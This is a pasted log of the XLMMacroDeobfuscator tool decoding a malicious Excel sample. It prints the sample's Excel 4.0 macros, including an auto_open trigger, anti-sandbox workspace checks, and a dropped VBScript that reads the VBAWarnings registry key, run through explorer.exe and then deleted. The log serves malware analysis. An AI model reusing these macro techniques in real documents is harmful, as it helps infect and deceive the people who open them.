Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #
- C:\Users\user\AppData\Local\Programs\Python\Python38\python.exe "C:\Program Files\JetBrains\PyCharm 2020.2\plugins\python\helpers\pydev\pydevd.py" --multiproc --qt-support=auto --client 127.0.0.1 --port 50320 --file C:/Users/user/Documents/GitHub/XLMMacroDeobfuscator/XLMMacroDeobfuscator/deobfuscator.py -f C:\Users\user\Downloads\samples\e778ee0ac55131192b71a180e55df087b4523143dd0eb80c8df95d98b80f3715.xls -n
- pydev debugger: process 8820 is connecting
- Connected to pydev debugger (build 202.6397.98)
- pywin32 is not installed (only is required if you want to use MS Excel)
- _ _______
- |\ /|( \ ( )
- ( \ / )| ( | () () |
- \ (_) / | | | || || |
- ) _ ( | | | |(_)| |
- / ( ) \ | | | | | |
- ( / \ )| (____/\| ) ( |
- |/ \|(_______/|/ \|
- ______ _______ _______ ______ _______ _______ _______ _______ _________ _______ _______
- ( __ \ ( ____ \( ___ )( ___ \ ( ____ \|\ /|( ____ \( ____ \( ___ )\__ __/( ___ )( ____ )
- | ( \ )| ( \/| ( ) || ( ) )| ( \/| ) ( || ( \/| ( \/| ( ) | ) ( | ( ) || ( )|
- | | ) || (__ | | | || (__/ / | (__ | | | || (_____ | | | (___) | | | | | | || (____)|
- | | | || __) | | | || __ ( | __) | | | |(_____ )| | | ___ | | | | | | || __)
- | | ) || ( | | | || ( \ \ | ( | | | | ) || | | ( ) | | | | | | || (\ (
- | (__/ )| (____/\| (___) || )___) )| ) | (___) |/\____) || (____/\| ) ( | | | | (___) || ) \ \__
- (______/ (_______/(_______)|/ \___/ |/ (_______)\_______)(_______/|/ \| )_( (_______)|/ \__/
- XLMMacroDeobfuscator(v0.1.5) - https://github.com/DissectMalware/XLMMacroDeobfuscator
- File: C:\Users\user\Downloads\samples\e778ee0ac55131192b71a180e55df087b4523143dd0eb80c8df95d98b80f3715.xls
- Unencrypted xls file
- [Loading Cells]
- auto_open: auto_open->BgGIL5lfRvUbzqcAWl!$CP$4895
- [Starting Deobfuscation]
- CELL:CP4895 , FullEvaluation , FORMULA("=CHAR(R[7373]C[-182])",BgGIL5lfRvUbzqcAWl$HG$24283:$HG$24364)
- CELL:CP4896 , FullEvaluation , "=FORMULA(R[-27647]C[-79],R[-24110]C[-93])"
- CELL:CP4897 , FullEvaluation , "=FORMULA(R[-42080]C[99],R[-25495]C[-44])"
- CELL:CP4898 , FullEvaluation , "=FORMULA(R[-34221]C[204],R[-30800]C[129])"
- CELL:CP4899 , FullEvaluation , ON.TIME(2020-08-16 06:09:32.742156,'BgGIL5lfRvUbzqcAWl'!EY31295)
- CELL:EY31295 , FullEvaluation , "=CLOSE(FALSE)"
- CELL:EY31296 , FullEvaluation , "=LEN(APP.MAXIMIZE())+140"
- CELL:EY31297 , FullEvaluation , "=LEN(GET.WINDOW(7))+-960"
- CELL:EY31298 , FullEvaluation , "=LEN(GET.WINDOW(20))+-58"
- CELL:EY31299 , FullEvaluation , "=LEN(GET.WINDOW(23)=3)+-671"
- CELL:EY31300 , FullEvaluation , "=LEN(GET.WORKSPACE(31))+-547"
- CELL:EY31301 , FullEvaluation , "=LEN(GET.WORKSPACE(13)>770)+-736"
- CELL:EY31302 , FullEvaluation , "=LEN(GET.WORKSPACE(14)>390)+-191"
- CELL:EY31303 , FullEvaluation , "=LEN(GET.WORKSPACE(19))+-718"
- CELL:EY31304 , FullEvaluation , "=LEN(GET.WORKSPACE(42))+-245"
- CELL:EY31305 , FullEvaluation , "=R34834C141+1022"
- CELL:EY31306 , FullEvaluation , "=R34839C141+297"
- CELL:EY31307 , FullEvaluation , "=R34833C141+-56"
- CELL:EY31308 , FullEvaluation , "=R34833C141+-23"
- CELL:EY31309 , FullEvaluation , "=R34837C141+617"
- CELL:EY31310 , FullEvaluation , "=R34833C141+-57"
- CELL:EY31311 , FullEvaluation , "=R34839C141+269"
- CELL:EY31312 , FullEvaluation , "=R34839C141+237"
- CELL:EY31313 , FullEvaluation , "=R34839C141+257"
- CELL:EY31314 , FullEvaluation , "=R34841C141+320"
- CELL:EY31315 , FullEvaluation , "=R34840C141+811"
- CELL:EY31316 , FullEvaluation , "=R34840C141+779"
- CELL:EY31317 , FullEvaluation , "=R34833C141+-40"
- CELL:EY31318 , FullEvaluation , "=R34834C141+1069"
- CELL:EY31319 , FullEvaluation , "=R34836C141+762"
- CELL:EY31320 , FullEvaluation , "=R34840C141+799"
- CELL:EY31321 , FullEvaluation , "=R34839C141+267"
- CELL:EY31322 , FullEvaluation , "=R34834C141+995"
- CELL:EY31323 , FullEvaluation , "=R34835C141+107"
- CELL:EY31324 , FullEvaluation , "=R34841C141+346"
- CELL:EY31325 , FullEvaluation , "=R34835C141+157"
- CELL:EY31326 , FullEvaluation , "=R34838C141+777"
- CELL:EY31327 , FullEvaluation , "=R34833C141+-78"
- CELL:EY31328 , FullEvaluation , "=R34841C141+310"
- CELL:EY31329 , FullEvaluation , "=R34835C141+138"
- CELL:EY31330 , FullEvaluation , "=R34841C141+357"
- CELL:EY31331 , FullEvaluation , "=R34837C141+653"
- CELL:EY31332 , FullEvaluation , "=R34835C141+145"
- CELL:EY31333 , FullEvaluation , "=R34835C141+111"
- CELL:EY31334 , FullEvaluation , "=R34833C141+-37"
- CELL:EY31335 , FullEvaluation , "=R34839C141+260"
- CELL:EY31336 , FullEvaluation , "=R34836C141+780"
- CELL:EY31337 , FullEvaluation , "=R34837C141+588"
- CELL:EY31338 , FullEvaluation , "=R34833C141+-43"
- CELL:EY31339 , FullEvaluation , "=R34838C141+781"
- CELL:EY31340 , FullEvaluation , "=R34833C141+-27"
- CELL:EY31341 , FullEvaluation , "=R34841C141+300"
- CELL:EY31342 , FullEvaluation , "=R34840C141+790"
- CELL:EY31343 , FullEvaluation , "=R34833C141+-96"
- CELL:EY31344 , FullEvaluation , "=R34836C141+710"
- CELL:EY31345 , FullEvaluation , "=R34835C141+156"
- CELL:EY31346 , FullEvaluation , "=R34835C141+92"
- CELL:EY31347 , FullEvaluation , "=R34840C141+746"
- CELL:EY31348 , FullEvaluation , "=R34838C141+854"
- CELL:EY31349 , FullEvaluation , "=R34841C141+319"
- CELL:EY31350 , FullEvaluation , "=R34836C141+757"
- CELL:EY31351 , FullEvaluation , "=R34838C141+830"
- CELL:EY31352 , FullEvaluation , "=R34837C141+600"
- CELL:EY31353 , FullEvaluation , "=R34839C141+299"
- CELL:EY31354 , FullEvaluation , "=R34835C141+140"
- CELL:EY31355 , FullEvaluation , "=R34838C141+847"
- CELL:EY31356 , FullEvaluation , "=R34838C141+809"
- CELL:EY31357 , FullEvaluation , "=R34834C141+1038"
- CELL:EY31358 , FullEvaluation , "=R34836C141+739"
- CELL:EY31359 , FullEvaluation , "=R34839C141+306"
- CELL:EY31360 , FullEvaluation , "=R34837C141+594"
- CELL:EY31361 , FullEvaluation , "=R34839C141+255"
- CELL:EY31362 , FullEvaluation , "=R34834C141+1006"
- CELL:EY31363 , FullEvaluation , "=R34840C141+776"
- CELL:EY31364 , FullEvaluation , "=R34838C141+813"
- CELL:EY31365 , FullEvaluation , "=R34837C141+642"
- CELL:EY31366 , FullEvaluation , "=R34836C141+776"
- CELL:EY31367 , FullEvaluation , "=R34836C141+775"
- CELL:EY31368 , FullEvaluation , "=R34839C141+261"
- CELL:EY31369 , FullEvaluation , "=R34835C141+88"
- CELL:EY31370 , FullEvaluation , "=R34837C141+641"
- CELL:EY31371 , FullEvaluation , "=R34835C141+101"
- CELL:EY31372 , FullEvaluation , "=R34841C141+280"
- CELL:EY31373 , FullEvaluation , "=R34838C141+824"
- CELL:EY31374 , FullEvaluation , "=R34836C141+773"
- CELL:EY31375 , FullEvaluation , "=R34840C141+769"
- CELL:EY31376 , FullEvaluation , "=R34841C141+282"
- CELL:EY31377 , FullEvaluation , "=R34833C141+-26"
- CELL:EY31378 , FullEvaluation , "=R34841C141+285"
- CELL:EY31379 , FullEvaluation , "=R34838C141+852"
- CELL:EY31380 , FullEvaluation , "=R34841C141+312"
- CELL:EY31381 , FullEvaluation , "=R34840C141+768"
- CELL:EY31382 , FullEvaluation , "=R34837C141+602"
- CELL:EY31383 , FullEvaluation , "=R34841C141+334"
- CELL:EY31384 , FullEvaluation , "=R34840C141+803"
- CELL:EY31385 , FullEvaluation , "=R34835C141+110"
- CELL:EY31386 , FullEvaluation , "=R34841C141+302"
- CELL:EY31387 , FullEvaluation , "=FORMULA.FILL(""=CHAR(R[30246]C[-23])"",R4596C164:R4677C164)"
- CELL:EY31388 , FullEvaluation , "=IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R34832C141))"
- CELL:EY31389 , FullEvaluation , "=""C:\Users\Public\Bcy75IXg.vbs"""
- CELL:EY31390 , FullEvaluation , "=""C:\Users\Public\h9W.txt"""
- CELL:EY31391 , FullEvaluation , "=FOPEN(R34926C141,3)"
- CELL:EY31392 , FullEvaluation , "=FWRITELN(R34928C141,""On Error Resume Next"")"
- CELL:EY31393 , FullEvaluation , "=FWRITELN(R34928C141,""Set ggLxt = CreateObject(""""WScript.Shell"""")"")"
- CELL:EY31394 , FullEvaluation , "=FWRITELN(R34928C141,""Set JJ0Vlx = CreateObject(""""Scripting.FileSystemObject"""")"")"
- CELL:EY31395 , FullEvaluation , "=FWRITELN(R34928C141,""Set KEPJk = JJ0Vlx.CreateTextFile(""""""&R34927C141&"""""", True)"")"
- CELL:EY31396 , FullEvaluation , "=FWRITELN(R34928C141,""KEPJk.WriteLine(ggLxt.RegRead(""""HKCU\Software\Microsoft\Office\""&GET.WORKSPACE(2)&""\Excel\Security\VBAWarnings""""))"")"
- CELL:EY31397 , FullEvaluation , "=FWRITELN(R34928C141,""KEPJk.Close"")"
- CELL:EY31398 , FullEvaluation , "=FCLOSE(R34928C141)"
- CELL:EY31399 , FullEvaluation , "=EXEC(""explorer.exe ""&R34926C141&"""")"
- CELL:EY31400 , FullEvaluation , "=WHILE(ISERROR(FILES(R34927C141)))"
- CELL:EY31401 , FullEvaluation , "=WAIT(NOW()+""00:00:01"")"
- CELL:EY31402 , FullEvaluation , "=NEXT()"
- CELL:EY31403 , FullEvaluation , "=FILE.DELETE(R34926C141)"
- CELL:EY31404 , FullEvaluation , "=FOPEN(R34927C141,2)"
- CELL:EY31405 , FullEvaluation , "=FREAD(R34941C141,100)"
- CELL:EY31406 , FullEvaluation , "=FCLOSE(R34941C141)"
- CELL:EY31407 , FullEvaluation , "=FILE.DELETE(R34927C141)"
- CELL:EY31408 , FullEvaluation , "=IF(ISNUMBER(SEARCH(""1"",R34942C141)),GOTO(R34832C141),)"
- CELL:EY31409 , FullEvaluation , "=IF(ISNUMBER(SEARCH(""32"",GET.WORKSPACE(1))),GOTO(R19560C173),GOTO(R24369C231))"
- CELL:EY31410 , FullEvaluation , ON.TIME(2020-08-16 06:09:33.175459,'BgGIL5lfRvUbzqcAWl'!HZ58941)
- CELL:HZ58941 , FullEvaluation , FORMULA("=FORMULA(R[-27647]C[-79],R[-24110]C[-93])",BgGIL5lfRvUbzqcAWl$HZ$58942:$HZ$59056)
- CELL:HZ58942 , FullEvaluation , FORMULA("=CLOSE(FALSE)",R[-24110]C[-93])
- CELL:HZ58943 , FullEvaluation , FORMULA("=LEN(APP.MAXIMIZE())+140",R[-24110]C[-93])
- CELL:HZ58944 , FullEvaluation , FORMULA("=LEN(GET.WINDOW(7))+-960",R[-24110]C[-93])
- CELL:HZ58945 , FullEvaluation , FORMULA("=LEN(GET.WINDOW(20))+-58",R[-24110]C[-93])
- CELL:HZ58946 , FullEvaluation , FORMULA("=LEN(GET.WINDOW(23)=3)+-671",R[-24110]C[-93])
- CELL:HZ58947 , FullEvaluation , FORMULA("=LEN(GET.WORKSPACE(31))+-547",R[-24110]C[-93])
- CELL:HZ58948 , FullEvaluation , FORMULA("=LEN(GET.WORKSPACE(13)>770)+-736",R[-24110]C[-93])
- CELL:HZ58949 , FullEvaluation , FORMULA("=LEN(GET.WORKSPACE(14)>390)+-191",R[-24110]C[-93])
- CELL:HZ58950 , FullEvaluation , FORMULA("=LEN(GET.WORKSPACE(19))+-718",R[-24110]C[-93])
- CELL:HZ58951 , FullEvaluation , FORMULA("=LEN(GET.WORKSPACE(42))+-245",R[-24110]C[-93])
- CELL:HZ58952 , FullEvaluation , FORMULA("=R34834C141+1022",R[-24110]C[-93])
- CELL:HZ58953 , FullEvaluation , FORMULA("=R34839C141+297",R[-24110]C[-93])
- CELL:HZ58954 , FullEvaluation , FORMULA("=R34833C141+-56",R[-24110]C[-93])
- CELL:HZ58955 , FullEvaluation , FORMULA("=R34833C141+-23",R[-24110]C[-93])
- CELL:HZ58956 , FullEvaluation , FORMULA("=R34837C141+617",R[-24110]C[-93])
- CELL:HZ58957 , FullEvaluation , FORMULA("=R34833C141+-57",R[-24110]C[-93])
- CELL:HZ58958 , FullEvaluation , FORMULA("=R34839C141+269",R[-24110]C[-93])
- CELL:HZ58959 , FullEvaluation , FORMULA("=R34839C141+237",R[-24110]C[-93])
- CELL:HZ58960 , FullEvaluation , FORMULA("=R34839C141+257",R[-24110]C[-93])
- CELL:HZ58961 , FullEvaluation , FORMULA("=R34841C141+320",R[-24110]C[-93])
- CELL:HZ58962 , FullEvaluation , FORMULA("=R34840C141+811",R[-24110]C[-93])
- CELL:HZ58963 , FullEvaluation , FORMULA("=R34840C141+779",R[-24110]C[-93])
- CELL:HZ58964 , FullEvaluation , FORMULA("=R34833C141+-40",R[-24110]C[-93])
- CELL:HZ58965 , FullEvaluation , FORMULA("=R34834C141+1069",R[-24110]C[-93])
- CELL:HZ58966 , FullEvaluation , FORMULA("=R34836C141+762",R[-24110]C[-93])
- CELL:HZ58967 , FullEvaluation , FORMULA("=R34840C141+799",R[-24110]C[-93])
- CELL:HZ58968 , FullEvaluation , FORMULA("=R34839C141+267",R[-24110]C[-93])
- CELL:HZ58969 , FullEvaluation , FORMULA("=R34834C141+995",R[-24110]C[-93])
- CELL:HZ58970 , FullEvaluation , FORMULA("=R34835C141+107",R[-24110]C[-93])
- CELL:HZ58971 , FullEvaluation , FORMULA("=R34841C141+346",R[-24110]C[-93])
- CELL:HZ58972 , FullEvaluation , FORMULA("=R34835C141+157",R[-24110]C[-93])
- CELL:HZ58973 , FullEvaluation , FORMULA("=R34838C141+777",R[-24110]C[-93])
- CELL:HZ58974 , FullEvaluation , FORMULA("=R34833C141+-78",R[-24110]C[-93])
- CELL:HZ58975 , FullEvaluation , FORMULA("=R34841C141+310",R[-24110]C[-93])
- CELL:HZ58976 , FullEvaluation , FORMULA("=R34835C141+138",R[-24110]C[-93])
- CELL:HZ58977 , FullEvaluation , FORMULA("=R34841C141+357",R[-24110]C[-93])
- CELL:HZ58978 , FullEvaluation , FORMULA("=R34837C141+653",R[-24110]C[-93])
- CELL:HZ58979 , FullEvaluation , FORMULA("=R34835C141+145",R[-24110]C[-93])
- CELL:HZ58980 , FullEvaluation , FORMULA("=R34835C141+111",R[-24110]C[-93])
- CELL:HZ58981 , FullEvaluation , FORMULA("=R34833C141+-37",R[-24110]C[-93])
- CELL:HZ58982 , FullEvaluation , FORMULA("=R34839C141+260",R[-24110]C[-93])
- CELL:HZ58983 , FullEvaluation , FORMULA("=R34836C141+780",R[-24110]C[-93])
- CELL:HZ58984 , FullEvaluation , FORMULA("=R34837C141+588",R[-24110]C[-93])
- CELL:HZ58985 , FullEvaluation , FORMULA("=R34833C141+-43",R[-24110]C[-93])
- CELL:HZ58986 , FullEvaluation , FORMULA("=R34838C141+781",R[-24110]C[-93])
- CELL:HZ58987 , FullEvaluation , FORMULA("=R34833C141+-27",R[-24110]C[-93])
- CELL:HZ58988 , FullEvaluation , FORMULA("=R34841C141+300",R[-24110]C[-93])
- CELL:HZ58989 , FullEvaluation , FORMULA("=R34840C141+790",R[-24110]C[-93])
- CELL:HZ58990 , FullEvaluation , FORMULA("=R34833C141+-96",R[-24110]C[-93])
- CELL:HZ58991 , FullEvaluation , FORMULA("=R34836C141+710",R[-24110]C[-93])
- CELL:HZ58992 , FullEvaluation , FORMULA("=R34835C141+156",R[-24110]C[-93])
- CELL:HZ58993 , FullEvaluation , FORMULA("=R34835C141+92",R[-24110]C[-93])
- CELL:HZ58994 , FullEvaluation , FORMULA("=R34840C141+746",R[-24110]C[-93])
- CELL:HZ58995 , FullEvaluation , FORMULA("=R34838C141+854",R[-24110]C[-93])
- CELL:HZ58996 , FullEvaluation , FORMULA("=R34841C141+319",R[-24110]C[-93])
- CELL:HZ58997 , FullEvaluation , FORMULA("=R34836C141+757",R[-24110]C[-93])
- CELL:HZ58998 , FullEvaluation , FORMULA("=R34838C141+830",R[-24110]C[-93])
- CELL:HZ58999 , FullEvaluation , FORMULA("=R34837C141+600",R[-24110]C[-93])
- CELL:HZ59000 , FullEvaluation , FORMULA("=R34839C141+299",R[-24110]C[-93])
- CELL:HZ59001 , FullEvaluation , FORMULA("=R34835C141+140",R[-24110]C[-93])
- CELL:HZ59002 , FullEvaluation , FORMULA("=R34838C141+847",R[-24110]C[-93])
- CELL:HZ59003 , FullEvaluation , FORMULA("=R34838C141+809",R[-24110]C[-93])
- CELL:HZ59004 , FullEvaluation , FORMULA("=R34834C141+1038",R[-24110]C[-93])
- CELL:HZ59005 , FullEvaluation , FORMULA("=R34836C141+739",R[-24110]C[-93])
- CELL:HZ59006 , FullEvaluation , FORMULA("=R34839C141+306",R[-24110]C[-93])
- CELL:HZ59007 , FullEvaluation , FORMULA("=R34837C141+594",R[-24110]C[-93])
- CELL:HZ59008 , FullEvaluation , FORMULA("=R34839C141+255",R[-24110]C[-93])
- CELL:HZ59009 , FullEvaluation , FORMULA("=R34834C141+1006",R[-24110]C[-93])
- CELL:HZ59010 , FullEvaluation , FORMULA("=R34840C141+776",R[-24110]C[-93])
- CELL:HZ59011 , FullEvaluation , FORMULA("=R34838C141+813",R[-24110]C[-93])
- CELL:HZ59012 , FullEvaluation , FORMULA("=R34837C141+642",R[-24110]C[-93])
- CELL:HZ59013 , FullEvaluation , FORMULA("=R34836C141+776",R[-24110]C[-93])
- CELL:HZ59014 , FullEvaluation , FORMULA("=R34836C141+775",R[-24110]C[-93])
- CELL:HZ59015 , FullEvaluation , FORMULA("=R34839C141+261",R[-24110]C[-93])
- CELL:HZ59016 , FullEvaluation , FORMULA("=R34835C141+88",R[-24110]C[-93])
- CELL:HZ59017 , FullEvaluation , FORMULA("=R34837C141+641",R[-24110]C[-93])
- CELL:HZ59018 , FullEvaluation , FORMULA("=R34835C141+101",R[-24110]C[-93])
- CELL:HZ59019 , FullEvaluation , FORMULA("=R34841C141+280",R[-24110]C[-93])
- CELL:HZ59020 , FullEvaluation , FORMULA("=R34838C141+824",R[-24110]C[-93])
- CELL:HZ59021 , FullEvaluation , FORMULA("=R34836C141+773",R[-24110]C[-93])
- CELL:HZ59022 , FullEvaluation , FORMULA("=R34840C141+769",R[-24110]C[-93])
- CELL:HZ59023 , FullEvaluation , FORMULA("=R34841C141+282",R[-24110]C[-93])
- CELL:HZ59024 , FullEvaluation , FORMULA("=R34833C141+-26",R[-24110]C[-93])
- CELL:HZ59025 , FullEvaluation , FORMULA("=R34841C141+285",R[-24110]C[-93])
- CELL:HZ59026 , FullEvaluation , FORMULA("=R34838C141+852",R[-24110]C[-93])
- CELL:HZ59027 , FullEvaluation , FORMULA("=R34841C141+312",R[-24110]C[-93])
- CELL:HZ59028 , FullEvaluation , FORMULA("=R34840C141+768",R[-24110]C[-93])
- CELL:HZ59029 , FullEvaluation , FORMULA("=R34837C141+602",R[-24110]C[-93])
- CELL:HZ59030 , FullEvaluation , FORMULA("=R34841C141+334",R[-24110]C[-93])
- CELL:HZ59031 , FullEvaluation , FORMULA("=R34840C141+803",R[-24110]C[-93])
- CELL:HZ59032 , FullEvaluation , FORMULA("=R34835C141+110",R[-24110]C[-93])
- CELL:HZ59033 , FullEvaluation , FORMULA("=R34841C141+302",R[-24110]C[-93])
- CELL:HZ59034 , FullEvaluation , FORMULA("=FORMULA.FILL(""=CHAR(R[30246]C[-23])"",R4596C164:R4677C164)",R[-24110]C[-93])
- CELL:HZ59035 , FullEvaluation , FORMULA("=IF(ISNUMBER(SEARCH(""Windows"",GET.WORKSPACE(1))),,GOTO(R34832C141))",R[-24110]C[-93])
- CELL:HZ59036 , FullEvaluation , FORMULA("=""C:\Users\Public\Bcy75IXg.vbs""",R[-24110]C[-93])
- CELL:HZ59037 , FullEvaluation , FORMULA("=""C:\Users\Public\h9W.txt""",R[-24110]C[-93])
- CELL:HZ59038 , FullEvaluation , FORMULA("=FOPEN(R34926C141,3)",R[-24110]C[-93])
- CELL:HZ59039 , FullEvaluation , FORMULA("=FWRITELN(R34928C141,""On Error Resume Next"")",R[-24110]C[-93])
- CELL:HZ59040 , FullEvaluation , FORMULA("=FWRITELN(R34928C141,""Set ggLxt = CreateObject(""""WScript.Shell"""")"")",R[-24110]C[-93])
- CELL:HZ59041 , FullEvaluation , FORMULA("=FWRITELN(R34928C141,""Set JJ0Vlx = CreateObject(""""Scripting.FileSystemObject"""")"")",R[-24110]C[-93])
- CELL:HZ59042 , FullEvaluation , FORMULA("=FWRITELN(R34928C141,""Set KEPJk = JJ0Vlx.CreateTextFile(""""""&R34927C141&"""""", True)"")",R[-24110]C[-93])
- CELL:HZ59043 , FullEvaluation , FORMULA("=FWRITELN(R34928C141,""KEPJk.WriteLine(ggLxt.RegRead(""""HKCU\Software\Microsoft\Office\""&GET.WORKSPACE(2)&""\Excel\Security\VBAWarnings""""))"")",R[-24110]C[-93])
- CELL:HZ59044 , FullEvaluation , FORMULA("=FWRITELN(R34928C141,""KEPJk.Close"")",R[-24110]C[-93])
- CELL:HZ59045 , FullEvaluation , FORMULA("=FCLOSE(R34928C141)",R[-24110]C[-93])
- CELL:HZ59046 , FullEvaluation , FORMULA("=EXEC(""explorer.exe ""&R34926C141&"""")",R[-24110]C[-93])
- CELL:HZ59047 , FullEvaluation , FORMULA("=WHILE(ISERROR(FILES(R34927C141)))",R[-24110]C[-93])
- CELL:HZ59048 , FullEvaluation , FORMULA("=WAIT(NOW()+""00:00:01"")",R[-24110]C[-93])
- CELL:HZ59049 , FullEvaluation , FORMULA("=NEXT()",R[-24110]C[-93])
- CELL:HZ59050 , FullEvaluation , FORMULA("=FILE.DELETE(R34926C141)",R[-24110]C[-93])
- CELL:HZ59051 , FullEvaluation , FORMULA("=FOPEN(R34927C141,2)",R[-24110]C[-93])
- CELL:HZ59052 , FullEvaluation , FORMULA("=FREAD(R34941C141,100)",R[-24110]C[-93])
- CELL:HZ59053 , FullEvaluation , FORMULA("=FCLOSE(R34941C141)",R[-24110]C[-93])
- CELL:HZ59054 , FullEvaluation , FORMULA("=FILE.DELETE(R34927C141)",R[-24110]C[-93])
- CELL:HZ59055 , FullEvaluation , FORMULA("=IF(ISNUMBER(SEARCH(""1"",R34942C141)),GOTO(R34832C141),)",R[-24110]C[-93])
- CELL:HZ59056 , FullEvaluation , FORMULA("=IF(ISNUMBER(SEARCH(""32"",GET.WORKSPACE(1))),GOTO(R19560C173),GOTO(R24369C231))",R[-24110]C[-93])
- CELL:HZ59057 , FullEvaluation , ON.TIME(2020-08-16 06:09:33.276218,'BgGIL5lfRvUbzqcAWl'!EK34833)
- CELL:EK34833 , FullEvaluation , 144
- CELL:EK34834 , FullEvaluation , -955
- CELL:EK34835 , FullEvaluation , -54
- CELL:EK34836 , FullEvaluation , -667
- CELL:EK34837 , FullEvaluation , -542
- CELL:EK34838 , FullEvaluation , -732
- CELL:EK34839 , FullEvaluation , -187
- CELL:EK34840 , FullEvaluation , -714
- CELL:EK34841 , FullEvaluation , -241
- CELL:EK34842 , FullEvaluation , 67
- CELL:EK34843 , FullEvaluation , 110
- CELL:EK34844 , FullEvaluation , 88
- CELL:EK34845 , FullEvaluation , 121
- CELL:EK34846 , FullEvaluation , 75
- CELL:EK34847 , FullEvaluation , 87
- CELL:EK34848 , FullEvaluation , 82
- CELL:EK34849 , FullEvaluation , 50
- CELL:EK34850 , FullEvaluation , 70
- CELL:EK34851 , FullEvaluation , 79
- CELL:EK34852 , FullEvaluation , 97
- CELL:EK34853 , FullEvaluation , 65
- CELL:EK34854 , FullEvaluation , 104
- CELL:EK34855 , FullEvaluation , 114
- CELL:EK34856 , FullEvaluation , 95
- CELL:EK34857 , FullEvaluation , 85
- CELL:EK34858 , FullEvaluation , 80
- CELL:EK34859 , FullEvaluation , 40
- CELL:EK34860 , FullEvaluation , 53
- CELL:EK34861 , FullEvaluation , 105
- CELL:EK34862 , FullEvaluation , 103
- CELL:EK34863 , FullEvaluation , 45
- CELL:EK34864 , FullEvaluation , 66
- CELL:EK34865 , FullEvaluation , 69
- CELL:EK34866 , FullEvaluation , 84
- CELL:EK34867 , FullEvaluation , 116
- CELL:EK34868 , FullEvaluation , 111
- CELL:EK34869 , FullEvaluation , 91
- CELL:EK34870 , FullEvaluation , 57
- CELL:EK34871 , FullEvaluation , 107
- CELL:EK34872 , FullEvaluation , 73
- CELL:EK34873 , FullEvaluation , 113
- CELL:EK34874 , FullEvaluation , 46
- CELL:EK34875 , FullEvaluation , 101
- CELL:EK34876 , FullEvaluation , 49
- CELL:EK34877 , FullEvaluation , 117
- CELL:EK34878 , FullEvaluation , 59
- CELL:EK34879 , FullEvaluation , 76
- CELL:EK34880 , FullEvaluation , 48
- CELL:EK34881 , FullEvaluation , 43
- CELL:EK34882 , FullEvaluation , 102
- CELL:EK34883 , FullEvaluation , 38
- CELL:EK34884 , FullEvaluation , 32
- CELL:EK34885 , FullEvaluation , 122
- CELL:EK34886 , FullEvaluation , 78
- CELL:EK34887 , FullEvaluation , 90
- CELL:EK34888 , FullEvaluation , 98
- CELL:EK34889 , FullEvaluation , 58
- CELL:EK34890 , FullEvaluation , 112
- CELL:EK34891 , FullEvaluation , 86
- CELL:EK34892 , FullEvaluation , 115
- CELL:EK34893 , FullEvaluation , 77
- CELL:EK34894 , FullEvaluation , 83
- CELL:EK34895 , FullEvaluation , 72
- CELL:EK34896 , FullEvaluation , 119
- CELL:EK34897 , FullEvaluation , 52
- CELL:EK34898 , FullEvaluation , 68
- CELL:EK34899 , FullEvaluation , 51
- CELL:EK34900 , FullEvaluation , 62
- CELL:EK34901 , FullEvaluation , 81
- CELL:EK34902 , FullEvaluation , 100
- CELL:EK34903 , FullEvaluation , 109
- CELL:EK34904 , FullEvaluation , 108
- CELL:EK34905 , FullEvaluation , 74
- CELL:EK34906 , FullEvaluation , 34
- CELL:EK34907 , FullEvaluation , 99
- CELL:EK34908 , FullEvaluation , 47
- CELL:EK34909 , FullEvaluation , 39
- CELL:EK34910 , FullEvaluation , 92
- CELL:EK34911 , FullEvaluation , 106
- CELL:EK34912 , FullEvaluation , 55
- CELL:EK34913 , FullEvaluation , 41
- CELL:EK34914 , FullEvaluation , 118
- CELL:EK34915 , FullEvaluation , 44
- CELL:EK34916 , FullEvaluation , 120
- CELL:EK34917 , FullEvaluation , 71
- CELL:EK34918 , FullEvaluation , 54
- CELL:EK34919 , FullEvaluation , 60
- CELL:EK34920 , FullEvaluation , 93
- CELL:EK34921 , FullEvaluation , 89
- CELL:EK34922 , FullEvaluation , 56
- CELL:EK34923 , FullEvaluation , 61
- CELL:EK34924 , FullEvaluation , FORMULA("=CHAR(R[30246]C[-23])",R4596C164:R4677C164)
- CELL:EK34925 , FullBranching , IF(ISNUMBER(SEARCH("Windows",GET.WORKSPACE(1))),,GOTO(R34832C141))
- CELL:EK34925 , FullEvaluation , [TRUE]
- CELL:EK34926 , FullEvaluation , "C:\Users\Public\Bcy75IXg.vbs"
- CELL:EK34927 , FullEvaluation , "C:\Users\Public\h9W.txt"
- CELL:EK34928 , FullEvaluation , FOPEN("C:\Users\Public\Bcy75IXg.vbs",3)
- CELL:EK34929 , FullEvaluation , FWRITE("C:\Users\Public\Bcy75IXg.vbs","On Error Resume Next")
- CELL:EK34930 , FullEvaluation , FWRITE("C:\Users\Public\Bcy75IXg.vbs","Set ggLxt = CreateObject(""WScript.Shell"")")
- CELL:EK34931 , FullEvaluation , FWRITE("C:\Users\Public\Bcy75IXg.vbs","Set JJ0Vlx = CreateObject(""Scripting.FileSystemObject"")")
- CELL:EK34932 , FullEvaluation , FWRITE("C:\Users\Public\Bcy75IXg.vbs","Set KEPJk = JJ0Vlx.CreateTextFile(""C:\Users\Public\h9W.txt"", True)")
- CELL:EK34933 , FullEvaluation , FWRITE("C:\Users\Public\Bcy75IXg.vbs","KEPJk.WriteLine(ggLxt.RegRead(""HKCU\Software\Microsoft\Office\GET.WORKSPACE(2)\Excel\Security\VBAWarnings""))")
- CELL:EK34934 , FullEvaluation , FWRITE("C:\Users\Public\Bcy75IXg.vbs","KEPJk.Close")
- CELL:EK34935 , PartialEvaluation , FCLOSE("C:\Users\Public\Bcy75IXg.vbs")
- CELL:EK34936 , PartialEvaluation , EXEC("explorer.exe C:\Users\Public\Bcy75IXg.vbs")
- CELL:EK34937 , PartialEvaluation , WHILE(ISERROR(FILES(R34927C141)))
- CELL:EK34940 , PartialEvaluation , FILE.DELETE("C:\Users\Public\Bcy75IXg.vbs")
- CELL:EK34941 , FullEvaluation , FOPEN("C:\Users\Public\h9W.txt",2)
- CELL:EK34942 , PartialEvaluation , FREAD("C:\Users\Public\h9W.txt",100)
- CELL:EK34943 , PartialEvaluation , FCLOSE("C:\Users\Public\h9W.txt")
- CELL:EK34944 , PartialEvaluation , FILE.DELETE("C:\Users\Public\h9W.txt")
- CELL:EK34945 , FullBranching , IF(ISNUMBER(SEARCH("1",R34942C141)),GOTO(R34832C141),)
- CELL:EK34945 , FullEvaluation , [TRUE] GOTO(R34832C141)
- CELL:EK34832 , End , CLOSE(FALSE)
